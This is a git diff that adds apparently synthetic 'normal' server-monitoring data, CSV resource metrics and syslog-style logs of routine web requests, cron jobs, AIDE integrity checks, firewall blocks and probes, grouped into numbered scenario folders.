+2025-08-19T10:00:35Z,12.78,35.85,22.92,1.29,1.07 +2025-08-19T10:00:40Z,15.67,39.08,29.19,0.97,1.3 +2025-08-19T10:00:45Z,17.39,38.72,25.69,1.38,0.97 +2025-08-19T10:00:50Z,12.23,37.18,19.49,0.78,0.91 +2025-08-19T10:00:55Z,18.32,42.34,33.88,1.22,0.94 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mode 100644 index 0000000000000000000000000000000000000000..0b01031ce158edeff39292250837a6b4d973c3ce --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_7.log @@ -0,0 +1,20 @@ +Aug 19 10:00:05 systemd[1]: Starting daily clean up activities... +Aug 19 10:00:10 web-app[2231]: GET /api/v1/user/45 status=200 OK +Aug 19 10:01:15 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 19 10:01:45 web-app[2231]: GET /api/v1/health status=200 OK +Aug 19 10:02:10 sshd[6810]: Accepted publickey for user admin from 192.168.1.10 port 22 +Aug 19 10:02:30 systemd[1]: Started Session 5 of user admin. +Aug 19 10:03:00 CRON[7011]: (root) CMD (/usr/sbin/aide --check) +Aug 19 10:03:01 aide[7012]: INFO: AIDE integrity check started. +Aug 19 10:03:01 aide[7012]: INFO: Reading database: /var/lib/aide/aide.db.gz +Aug 19 10:03:30 kubelet[1122]: INFO: Liveness probe for pod 'api-gateway-xyz' succeeded. +Aug 19 10:04:00 aide[7012]: INFO: Hashing files in /etc... +Aug 19 10:04:30 aide[7012]: INFO: Hashing files in /usr/sbin... +Aug 19 10:04:55 web-app[2231]: POST /api/v1/login status=200 OK +Aug 19 10:05:01 aide[7012]: INFO: All files match the baseline. +Aug 19 10:05:02 aide[7012]: INFO: AIDE integrity check finished successfully. +Aug 19 10:05:30 systemd[1]: Starting daily apt upgrade and clean activities... +Aug 19 10:06:00 web-app[2231]: GET /api/v1/dashboard status=200 OK +Aug 19 10:06:35 sshd[6810]: Received disconnect from 192.168.1.10 port 22: 11: disconnected by user +Aug 19 10:07:00 CRON[7055]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 19 10:07:20 systemd[1]: Daily apt upgrade and clean activities finished. diff --git a/norm_dataset/scenario_16/norm_16_8.csv b/norm_dataset/scenario_16/norm_16_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..e2defc9c42bfa42979c4c13f4f4c8b3ced10807f --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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SRC=1.2.3.4 DST=5.6.7.8 ... +Aug 19 10:00:15 server-1 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=1.2.3.4 DST=5.6.7.8 ... +Aug 19 10:00:35 server-1 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=1.2.3.4 DST=5.6.7.8 ... +Aug 19 10:01:15 server-1 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=1.2.3.4 DST=5.6.7.8 ... +Aug 19 10:02:03 server-1 CRON[4121]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 19 10:02:05 server-1 systemd[1]: Starting AIDE integrity check... +Aug 19 10:02:08 server-1 aide[4125]: INFO: AIDE scan started. +Aug 19 10:03:15 server-1 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=1.2.3.4 DST=5.6.7.8 ... +Aug 19 10:03:30 server-1 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=1.2.3.4 DST=5.6.7.8 ... +Aug 19 10:03:40 server-1 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=1.2.3.4 DST=5.6.7.8 ... +Aug 19 10:03:45 server-1 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=1.2.3.4 DST=5.6.7.8 ... +Aug 19 10:04:00 server-1 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=1.2.3.4 DST=5.6.7.8 ... +Aug 19 10:04:40 server-1 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=1.2.3.4 DST=5.6.7.8 ... +Aug 19 10:05:20 server-1 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=1.2.3.4 DST=5.6.7.8 ... +Aug 19 10:05:25 server-1 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=1.2.3.4 DST=5.6.7.8 ... +Aug 19 10:05:30 server-1 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=1.2.3.4 DST=5.6.7.8 ... +Aug 19 10:05:50 server-1 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=1.2.3.4 DST=5.6.7.8 ... +Aug 19 10:06:05 server-1 aide[4125]: INFO: All files match the baseline. +Aug 19 10:06:15 server-1 aide[4125]: INFO: AIDE scan finished. +Aug 19 10:06:25 server-1 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=1.2.3.4 DST=5.6.7.8 ... diff --git a/norm_dataset/scenario_16/norm_16_9.csv b/norm_dataset/scenario_16/norm_16_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..2f2f6a40e1db17b342a6b9e4271f6c303670e32e --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,12.31,40.04,12.06,0.89,0.83 +2025-07-02T12:00:05Z,18.71,40.35,15.56,1.68,0.91 +2025-07-02T12:00:10Z,15.63,36.3,16.36,0.93,1.01 +2025-07-02T12:00:15Z,13.49,35.06,14.26,1.68,1.08 +2025-07-02T12:00:20Z,19.93,38.44,15.9,0.94,1.6 +2025-07-02T12:00:25Z,16.07,40.73,28.37,0.95,0.75 +2025-07-02T12:00:30Z,12.72,38.08,22.84,1.39,0.88 +2025-07-02T12:00:35Z,18.05,41.61,17.1,1.47,1.22 +2025-07-02T12:00:40Z,13.56,40.13,10.9,1.49,0.8 +2025-07-02T12:00:45Z,13.96,39.17,25.47,1.74,1.6 +2025-07-02T12:00:50Z,10.24,36.18,15.92,1.31,0.94 +2025-07-02T12:00:55Z,16.67,35.64,13.16,1.75,0.91 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b/norm_dataset/scenario_16/norm_16_9.log new file mode 100644 index 0000000000000000000000000000000000000000..359d4aed7c14acfbc58dc0194883252ee05859ee --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_9.log @@ -0,0 +1,18 @@ +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:25 web-app[1532]: GET /api/v1/health status=200 OK +Jul 02 12:01:05 web-app[1532]: GET /api/v1/metrics status=200 OK +Jul 02 12:01:40 systemd[1]: Started Session 1234 of user root. +Jul 02 12:02:00 CRON[8851]: (root) CMD (aide --check) +Jul 02 12:02:01 aide[8852]: INFO: Starting AIDE integrity check... +Jul 02 12:02:02 aide[8852]: INFO: Scan started. +Jul 02 12:02:30 web-app[1532]: GET /api/v1/health status=200 OK +Jul 02 12:02:45 kubelet[2345]: INFO Liveness probe succeeded for pod web-app +Jul 02 12:03:30 web-app[1532]: GET /api/v1/health status=200 OK +Jul 02 12:04:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app +Jul 02 12:04:55 aide[8852]: INFO: All files match the baseline. +Jul 02 12:04:56 aide[8852]: INFO: Scan finished. +Jul 02 12:05:15 web-app[1532]: GET /api/v1/health status=200 OK +Jul 02 12:05:45 systemd[1]: Starting daily clean up activities... +Jul 02 12:06:15 web-app[1532]: GET /api/v1/metrics status=200 OK +Jul 02 12:06:40 CRON[9012]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:07:00 web-app[1532]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_2/norm_2_1.csv b/norm_dataset/scenario_2/norm_2_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..f942abd9591d3adce7e45b2d7d0ab2929d043f6d --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,17.692500446083987,37.81327186285344,23.62314291551202,0.8216112887870428,0.7468853392742709 +2025-08-15T10:00:05Z,19.92084981940517,40.873859166952045,19.23440632464483,1.107056266612822,1.005402326303063 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+2025-08-15T10:06:10Z,15.821991384496084,37.460361187021164,25.27481980445409,1.174258872681297,1.1560859942661277 +2025-08-15T10:06:15Z,15.800191926349354,39.94771357606259,29.401933135431698,1.2384984288797334,0.9810753907323508 +2025-08-15T10:06:20Z,16.173838409128766,40.00965907925185,27.321888055462825,0.96711340995385,0.721991550945292 +2025-08-15T10:06:25Z,12.603418917069774,35.843500091235974,30.51978446056547,1.2937605213140262,0.7847033856677104 +2025-08-15T10:06:30Z,15.360473506077627,39.78963764391812,24.718338296481022,1.0244513604332712,0.9712582808145008 +2025-08-15T10:06:35Z,15.653037530521036,36.311666681439625,17.25867312943431,1.1007693622779522,0.556280502225069 +2025-08-15T10:06:40Z,14.020003936154366,37.38218816385568,21.6921128409618,1.2360404788755655,0.8712259663353387 +2025-08-15T10:06:45Z,10.675216014780963,37.54293624986133,28.148920812240707,1.5086954060529871,0.8057644051812913 +2025-08-15T10:06:50Z,12.371941788291679,41.58885512425867,27.759420984148175,1.2995803424519008,0.5677746835052578 +2025-08-15T10:06:55Z,12.888187486476925,40.79514181128574,24.105661681919635,1.0422013620315016,0.965468934459628 +2025-08-15T10:07:00Z,14.904204286856142,41.97199081374064,21.92641966984237,1.051529182695291,0.9396922689484424 +2025-08-15T10:07:05Z,12.898190348243489,38.62779456797525,40.2119383749692,1.3015183705103917,0.7450194316822146 +2025-08-15T10:07:10Z,11.27354270327158,42.49002553548732,24.892360839041178,1.3692932435426146,0.8785798637538035 +2025-08-15T10:07:15Z,11.417315039074698,42.30394347654934,24.872692156133965,1.0757007021087384,0.731293244892828 +2025-08-15T10:07:20Z,15.285831420333144,40.995025266063415,27.38558235458272,1.2016168781020444,0.5858003139515968 +2025-08-15T10:07:25Z,14.312218800321942,38.406102468375515,26.078899681677203,1.1637610828679072,0.8158039213728543 diff --git a/norm_dataset/scenario_2/norm_2_1.log b/norm_dataset/scenario_2/norm_2_1.log new file mode 100644 index 0000000000000000000000000000000000000000..14e64e680129ddaade2e280638987e92fa68b943 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_1.log @@ -0,0 +1,90 @@ +Aug 15 10:00:00 web-app[3456]: GET /api/v1/user/78 status=200 OK +Aug 15 10:00:05 kubelet[4567]: INFO Liveness probe succeeded for pod web-app-pod +Aug 15 10:00:10 kubelet[4567]: INFO Liveness probe succeeded for pod web-app-pod +Aug 15 10:00:15 web-app[3456]: GET /api/v1/user/90 status=200 OK +Aug 15 10:00:20 systemd[1]: Starting daily clean up activities... +Aug 15 10:00:25 web-app[3456]: GET /api/v1/user/12 status=200 OK +Aug 15 10:00:30 systemd[1]: Starting daily clean up activities... +Aug 15 10:00:35 kubelet[4567]: INFO Liveness probe succeeded for pod web-app-pod +Aug 15 10:00:40 kubelet[4567]: INFO Liveness probe succeeded for pod web-app-pod +Aug 15 10:00:45 web-app[3456]: GET /api/v1/user/12 status=200 OK +Aug 15 10:00:50 systemd[1]: Starting daily clean up activities... +Aug 15 10:00:55 web-app[3456]: GET /api/v1/user/78 status=200 OK +Aug 15 10:01:00 web-app[3456]: GET /api/v1/user/56 status=200 OK +Aug 15 10:01:05 web-app[3456]: GET /api/v1/user/90 status=200 OK +Aug 15 10:01:10 systemd[1]: Starting daily clean up activities... +Aug 15 10:01:15 systemd[1]: Starting daily clean up activities... +Aug 15 10:01:20 web-app[3456]: GET /api/v1/user/78 status=200 OK +Aug 15 10:01:25 kubelet[4567]: INFO Liveness probe succeeded for pod web-app-pod +Aug 15 10:01:30 web-app[3456]: GET /api/v1/user/56 status=200 OK +Aug 15 10:01:35 web-app[3456]: GET /api/v1/user/34 status=200 OK +Aug 15 10:01:40 web-app[3456]: GET /api/v1/user/12 status=200 OK +Aug 15 10:01:45 web-app[3456]: GET /api/v1/user/90 status=200 OK +Aug 15 10:01:50 web-app[3456]: GET /api/v1/user/56 status=200 OK +Aug 15 10:01:55 web-app[3456]: GET /api/v1/user/90 status=200 OK +Aug 15 10:02:00 web-app[3456]: GET /api/v1/user/78 status=200 OK +Aug 15 10:02:05 systemd[1]: Starting daily clean up activities... +Aug 15 10:02:10 kubelet[4567]: INFO Liveness probe succeeded for pod web-app-pod +Aug 15 10:02:15 web-app[3456]: GET /api/v1/user/34 status=200 OK +Aug 15 10:02:20 kubelet[4567]: INFO Liveness probe succeeded for pod web-app-pod +Aug 15 10:02:25 systemd[1]: Starting daily clean up activities... +Aug 15 10:02:30 web-app[3456]: GET /api/v1/user/12 status=200 OK +Aug 15 10:02:35 web-app[3456]: GET /api/v1/user/56 status=200 OK +Aug 15 10:02:40 web-app[3456]: GET /api/v1/user/12 status=200 OK +Aug 15 10:02:45 web-app[3456]: GET /api/v1/user/34 status=200 OK +Aug 15 10:02:50 web-app[3456]: GET /api/v1/user/78 status=200 OK +Aug 15 10:02:55 kubelet[4567]: INFO Liveness probe succeeded for pod web-app-pod +Aug 15 10:03:00 web-app[3456]: GET /api/v1/user/12 status=200 OK +Aug 15 10:03:05 web-app[3456]: GET /api/v1/user/34 status=200 OK +Aug 15 10:03:10 web-app[3456]: GET /api/v1/user/12 status=200 OK +Aug 15 10:03:15 web-app[3456]: GET /api/v1/user/34 status=200 OK +Aug 15 10:03:20 kubelet[4567]: INFO Liveness probe succeeded for pod web-app-pod +Aug 15 10:03:25 web-app[3456]: GET /api/v1/user/34 status=200 OK +Aug 15 10:03:30 kubelet[4567]: INFO Liveness probe succeeded for pod web-app-pod +Aug 15 10:03:35 web-app[3456]: GET /api/v1/user/90 status=200 OK +Aug 15 10:03:40 systemd[1]: Starting daily clean up activities... +Aug 15 10:03:45 CRON[6789]: (root) CMD (run-parts /etc/cron.daily) +Aug 15 10:03:50 systemd[1]: Starting Daily rotation of log files... +Aug 15 10:03:55 systemd[1]: logrotate.service: Succeeded. +Aug 15 10:04:00 web-app[3456]: GET /api/v1/user/12 status=200 OK +Aug 15 10:04:05 systemd[1]: Starting daily clean up activities... +Aug 15 10:04:10 systemd[1]: Starting daily clean up activities... +Aug 15 10:04:15 kubelet[4567]: INFO Liveness probe succeeded for pod web-app-pod +Aug 15 10:04:20 web-app[3456]: GET /api/v1/user/34 status=200 OK +Aug 15 10:04:25 web-app[3456]: GET /api/v1/user/90 status=200 OK +Aug 15 10:04:30 web-app[3456]: GET /api/v1/user/34 status=200 OK +Aug 15 10:04:35 web-app[3456]: GET /api/v1/user/90 status=200 OK +Aug 15 10:04:40 web-app[3456]: GET /api/v1/user/78 status=200 OK +Aug 15 10:04:45 web-app[3456]: GET /api/v1/user/34 status=200 OK +Aug 15 10:04:50 web-app[3456]: GET /api/v1/user/90 status=200 OK +Aug 15 10:04:55 web-app[3456]: GET /api/v1/user/12 status=200 OK +Aug 15 10:05:00 web-app[3456]: GET /api/v1/user/56 status=200 OK +Aug 15 10:05:05 systemd[1]: Starting daily clean up activities... +Aug 15 10:05:10 web-app[3456]: GET /api/v1/user/56 status=200 OK +Aug 15 10:05:15 web-app[3456]: GET /api/v1/user/78 status=200 OK +Aug 15 10:05:20 web-app[3456]: GET /api/v1/user/12 status=200 OK +Aug 15 10:05:25 systemd[1]: Starting daily clean up activities... +Aug 15 10:05:30 web-app[3456]: GET /api/v1/user/56 status=200 OK +Aug 15 10:05:35 web-app[3456]: GET /api/v1/user/90 status=200 OK +Aug 15 10:05:40 web-app[3456]: GET /api/v1/user/90 status=200 OK +Aug 15 10:05:45 web-app[3456]: GET /api/v1/user/34 status=200 OK +Aug 15 10:05:50 web-app[3456]: GET /api/v1/user/56 status=200 OK +Aug 15 10:05:55 kubelet[4567]: INFO Liveness probe succeeded for pod web-app-pod +Aug 15 10:06:00 web-app[3456]: GET /api/v1/user/34 status=200 OK +Aug 15 10:06:05 systemd[1]: Starting daily clean up activities... +Aug 15 10:06:10 web-app[3456]: GET /api/v1/user/34 status=200 OK +Aug 15 10:06:15 web-app[3456]: GET /api/v1/user/56 status=200 OK +Aug 15 10:06:20 web-app[3456]: GET /api/v1/user/90 status=200 OK +Aug 15 10:06:25 web-app[3456]: GET /api/v1/user/56 status=200 OK +Aug 15 10:06:30 web-app[3456]: GET /api/v1/user/90 status=200 OK +Aug 15 10:06:35 systemd[1]: Starting daily clean up activities... +Aug 15 10:06:40 web-app[3456]: GET /api/v1/user/56 status=200 OK +Aug 15 10:06:45 web-app[3456]: GET /api/v1/user/12 status=200 OK +Aug 15 10:06:50 web-app[3456]: GET /api/v1/user/56 status=200 OK +Aug 15 10:06:55 kubelet[4567]: INFO Liveness probe succeeded for pod web-app-pod +Aug 15 10:07:00 web-app[3456]: GET /api/v1/user/90 status=200 OK +Aug 15 10:07:05 kubelet[4567]: INFO Liveness probe succeeded for pod web-app-pod +Aug 15 10:07:10 web-app[3456]: GET /api/v1/user/12 status=200 OK +Aug 15 10:07:15 web-app[3456]: GET /api/v1/user/56 status=200 OK +Aug 15 10:07:20 systemd[1]: Starting daily clean up activities... +Aug 15 10:07:25 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_2/norm_2_10.csv b/norm_dataset/scenario_2/norm_2_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..f7162c137e6f61d2ea2d566c816daf6ee654ecd5 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,16.66,39.43,42.84,1.05,1.17 +2025-07-02T12:00:05Z,17.29,40.84,27.46,1.09,0.82 +2025-07-02T12:00:10Z,16.32,39.27,29.5,1.55,0.86 +2025-07-02T12:00:15Z,13.55,40.65,32.22,0.64,0.79 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+2025-07-02T12:05:20Z,14.3,40.16,34.47,0.88,1.0 +2025-07-02T12:05:25Z,13.71,39.22,24.06,1.19,1.02 +2025-07-02T12:05:30Z,12.07,41.8,32.59,0.95,1.12 +2025-07-02T12:05:35Z,0.0,39.85,34.04,0.89,0.79 +2025-07-02T12:05:40Z,23.06,37.67,34.25,1.13,0.82 +2025-07-02T12:05:45Z,15.88,36.27,37.88,1.01,0.9 +2025-07-02T12:05:50Z,13.73,42.3,29.49,1.17,0.69 +2025-07-02T12:05:55Z,14.58,42.18,26.66,0.89,0.84 +2025-07-02T12:06:00Z,13.15,43.18,37.54,1.28,0.75 +2025-07-02T12:06:05Z,10.7,41.45,30.01,0.96,0.76 +2025-07-02T12:06:10Z,18.14,40.1,25.23,0.69,0.74 +2025-07-02T12:06:15Z,20.11,39.04,26.1,0.97,0.47 +2025-07-02T12:06:20Z,13.64,36.98,33.64,1.3,0.71 +2025-07-02T12:06:25Z,16.84,42.31,27.23,1.16,0.69 +2025-07-02T12:06:30Z,11.35,40.46,27.37,0.62,0.89 +2025-07-02T12:06:35Z,15.43,39.11,33.33,1.19,0.93 +2025-07-02T12:06:40Z,17.78,41.25,33.34,1.01,0.8 +2025-07-02T12:06:45Z,14.62,45.65,34.77,0.76,0.68 +2025-07-02T12:06:50Z,15.72,41.16,21.36,1.17,0.83 +2025-07-02T12:06:55Z,13.32,41.14,21.23,1.0,1.35 +2025-07-02T12:07:00Z,13.58,39.08,14.81,0.63,0.96 +2025-07-02T12:07:05Z,18.86,40.26,25.66,1.03,0.76 +2025-07-02T12:07:10Z,18.86,43.09,24.98,0.69,0.88 +2025-07-02T12:07:15Z,16.61,38.79,27.21,0.85,1.02 +2025-07-02T12:07:20Z,18.57,38.51,33.53,0.76,0.97 +2025-07-02T12:07:25Z,10.84,39.76,32.8,0.88,0.9 diff --git a/norm_dataset/scenario_2/norm_2_10.log b/norm_dataset/scenario_2/norm_2_10.log new file mode 100644 index 0000000000000000000000000000000000000000..2f7d7bc4ae178b35cb6799c468abe4c4ac9cb88f --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_10.log @@ -0,0 +1,25 @@ +Jul 02 12:00:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:35 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:00:55 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:10 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:45 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:50 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:02:45 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:55 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:03:30 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:03:35 CRON[6789]: (root) CMD (run-parts /etc/cron.daily) +Jul 02 12:03:40 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:45 logrotate[6790]: INFO: Reading configuration file /etc/logrotate.conf +Jul 02 12:03:45 logrotate[6790]: INFO: Rotating log /var/log/webapp/access.log +Jul 02 12:03:45 logrotate[6790]: INFO: Compressing /var/log/webapp/access.log.1 to /var/log/webapp/access.log.1.gz +Jul 02 12:04:00 systemd[1]: logrotate.service: Succeeded. +Jul 02 12:04:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:04:40 web-app[1234]: GET /api/v1/metrics status=200 OK +Jul 02 12:05:20 web-app[1234]: GET /api/v1/metrics status=200 OK +Jul 02 12:05:25 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:06:00 web-app[1234]: GET /api/v1/metrics status=200 OK +Jul 02 12:06:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:06:40 web-app[1234]: GET /api/v1/metrics status=200 OK +Jul 02 12:07:20 web-app[1234]: GET /api/v1/metrics status=200 OK diff --git a/norm_dataset/scenario_2/norm_2_11.csv b/norm_dataset/scenario_2/norm_2_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..d06b00bafea473f0d9336317327d83012ffbcce5 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,16.49,40.19,33.13,1.29,1.0 +2025-07-02T12:00:05Z,14.59,42.24,25.71,0.71,1.21 +2025-07-02T12:00:10Z,16.94,39.19,24.65,1.23,0.88 +2025-07-02T12:00:15Z,19.57,40.23,32.41,1.0,0.98 +2025-07-02T12:00:20Z,14.3,40.38,28.88,0.8,1.04 +2025-07-02T12:00:25Z,14.3,38.51,33.57,1.09,0.82 +2025-07-02T12:00:30Z,19.74,42.29,32.37,1.04,0.94 +2025-07-02T12:00:35Z,17.3,42.45,29.64,0.88,0.9 +2025-07-02T12:00:40Z,13.59,42.16,25.77,1.01,0.92 +2025-07-02T12:00:45Z,16.63,41.88,22.43,0.92,0.75 +2025-07-02T12:00:50Z,13.61,39.69,27.77,1.02,0.9 +2025-07-02T12:00:55Z,13.6,41.83,34.28,1.13,1.0 +2025-07-02T12:01:00Z,15.73,42.11,31.07,1.32,1.19 +2025-07-02T12:01:05Z,9.26,41.29,23.77,0.75,1.09 +2025-07-02T12:01:10Z,9.83,42.63,30.87,1.43,1.33 +2025-07-02T12:01:15Z,13.31,43.8,31.93,0.61,0.75 +2025-07-02T12:01:20Z,11.96,46.77,25.58,0.97,1.07 +2025-07-02T12:01:25Z,15.94,43.32,30.77,1.12,0.94 +2025-07-02T12:01:30Z,12.28,43.44,30.29,1.06,1.34 +2025-07-02T12:01:35Z,10.76,42.69,24.29,0.88,0.74 +2025-07-02T12:01:40Z,19.4,38.89,31.79,0.96,0.73 +2025-07-02T12:01:45Z,14.32,42.54,32.8,0.9,0.78 +2025-07-02T12:01:50Z,15.2,42.55,35.42,0.88,0.5 +2025-07-02T12:01:55Z,10.73,47.16,35.27,1.17,0.79 +2025-07-02T12:02:00Z,13.37,41.64,23.11,1.07,0.75 +2025-07-02T12:02:05Z,15.33,42.4,25.31,0.86,0.93 +2025-07-02T12:02:10Z,11.55,41.48,32.58,1.18,0.97 +2025-07-02T12:02:15Z,16.13,38.94,32.57,1.06,1.28 +2025-07-02T12:02:20Z,13.2,43.29,32.58,1.16,1.09 +2025-07-02T12:02:25Z,14.12,42.22,49.26,1.13,0.78 +2025-07-02T12:02:30Z,13.19,42.01,32.85,0.83,0.72 +2025-07-02T12:02:35Z,20.56,38.31,35.68,0.89,1.0 +2025-07-02T12:02:40Z,14.96,42.63,34.77,1.15,0.64 +2025-07-02T12:02:45Z,11.83,36.72,33.26,1.12,1.27 +2025-07-02T12:02:50Z,17.47,40.41,28.42,1.0,1.14 +2025-07-02T12:02:55Z,11.34,43.33,33.79,1.02,0.81 +2025-07-02T12:03:00Z,15.63,36.69,26.14,1.26,0.56 +2025-07-02T12:03:05Z,9.12,37.28,28.82,0.88,1.17 +2025-07-02T12:03:10Z,11.02,38.36,47.57,1.11,0.88 +2025-07-02T12:03:15Z,65.59,36.93,85.41,0.96,1.15 +2025-07-02T12:03:20Z,92.22,34.63,98.0,0.96,0.58 +2025-07-02T12:03:25Z,75.51,37.68,60.66,1.22,0.78 +2025-07-02T12:03:30Z,14.65,35.26,33.43,1.17,0.9 +2025-07-02T12:03:35Z,14.1,38.2,21.94,1.16,0.91 +2025-07-02T12:03:40Z,10.56,35.31,27.64,1.26,0.81 +2025-07-02T12:03:45Z,12.84,40.17,35.44,1.0,1.02 +2025-07-02T12:03:50Z,13.62,35.45,30.32,1.14,0.69 +2025-07-02T12:03:55Z,18.17,36.36,24.61,0.94,0.87 +2025-07-02T12:04:00Z,16.03,38.64,26.42,1.06,0.92 +2025-07-02T12:04:05Z,9.71,34.59,33.4,0.97,1.0 +2025-07-02T12:04:10Z,15.97,37.58,26.35,1.02,1.04 +2025-07-02T12:04:15Z,13.84,39.84,31.08,1.12,0.68 +2025-07-02T12:04:20Z,12.97,34.13,30.23,0.84,0.59 +2025-07-02T12:04:25Z,16.84,37.87,26.74,1.42,1.16 +2025-07-02T12:04:30Z,18.09,38.2,40.72,0.8,0.97 +2025-07-02T12:04:35Z,17.79,39.45,33.17,0.76,0.75 +2025-07-02T12:04:40Z,12.48,35.63,19.87,1.23,1.21 +2025-07-02T12:04:45Z,14.07,35.71,30.93,1.16,0.92 +2025-07-02T12:04:50Z,15.99,39.65,26.69,1.12,1.14 +2025-07-02T12:04:55Z,17.93,39.47,34.26,1.13,0.91 +2025-07-02T12:05:00Z,13.56,39.66,26.04,1.0,1.31 +2025-07-02T12:05:05Z,14.44,40.15,29.43,0.82,1.25 +2025-07-02T12:05:10Z,11.68,38.39,32.52,1.02,0.85 +2025-07-02T12:05:15Z,11.41,40.51,34.33,0.86,1.09 +2025-07-02T12:05:20Z,17.44,40.94,24.0,1.2,1.03 +2025-07-02T12:05:25Z,19.07,39.22,28.33,0.97,1.17 +2025-07-02T12:05:30Z,14.78,44.67,27.63,0.83,0.71 +2025-07-02T12:05:35Z,18.01,42.16,26.73,0.94,1.04 +2025-07-02T12:05:40Z,16.08,39.1,38.83,1.08,1.11 +2025-07-02T12:05:45Z,13.06,43.05,32.02,0.89,0.55 +2025-07-02T12:05:50Z,16.08,40.02,23.7,0.84,0.66 +2025-07-02T12:05:55Z,19.61,43.76,34.59,1.05,0.5 +2025-07-02T12:06:00Z,14.89,44.7,40.61,1.05,0.85 +2025-07-02T12:06:05Z,19.69,40.91,35.16,0.9,1.04 +2025-07-02T12:06:10Z,7.14,44.62,22.4,0.91,1.2 +2025-07-02T12:06:15Z,17.47,43.64,27.58,1.05,0.91 +2025-07-02T12:06:20Z,15.26,44.55,36.33,0.71,1.23 +2025-07-02T12:06:25Z,14.1,46.76,26.46,0.72,0.62 +2025-07-02T12:06:30Z,15.28,42.5,32.22,0.86,0.56 +2025-07-02T12:06:35Z,9.04,41.49,33.87,0.96,0.89 +2025-07-02T12:06:40Z,14.34,41.19,25.37,1.06,0.98 +2025-07-02T12:06:45Z,16.07,41.28,29.7,1.3,0.89 +2025-07-02T12:06:50Z,19.43,42.67,13.79,1.17,0.5 +2025-07-02T12:06:55Z,13.45,43.39,24.88,0.97,0.88 +2025-07-02T12:07:00Z,12.57,43.12,28.74,1.0,0.64 +2025-07-02T12:07:05Z,13.49,44.05,23.76,0.8,1.03 +2025-07-02T12:07:10Z,17.75,42.23,38.16,1.0,0.97 +2025-07-02T12:07:15Z,15.99,44.9,22.85,0.94,0.71 +2025-07-02T12:07:20Z,13.41,41.23,27.8,1.06,0.8 +2025-07-02T12:07:25Z,16.54,46.94,30.65,0.83,0.69 diff --git a/norm_dataset/scenario_2/norm_2_11.log b/norm_dataset/scenario_2/norm_2_11.log new file mode 100644 index 0000000000000000000000000000000000000000..56f7b58c6b68e4aa08376db6f44176df1213d33f --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_11.log @@ -0,0 +1,30 @@ +Jul 02 12:00:00 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:00:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:35 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:00:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:01:10 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:01:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:45 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:01:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:02:20 web-app[1234]: 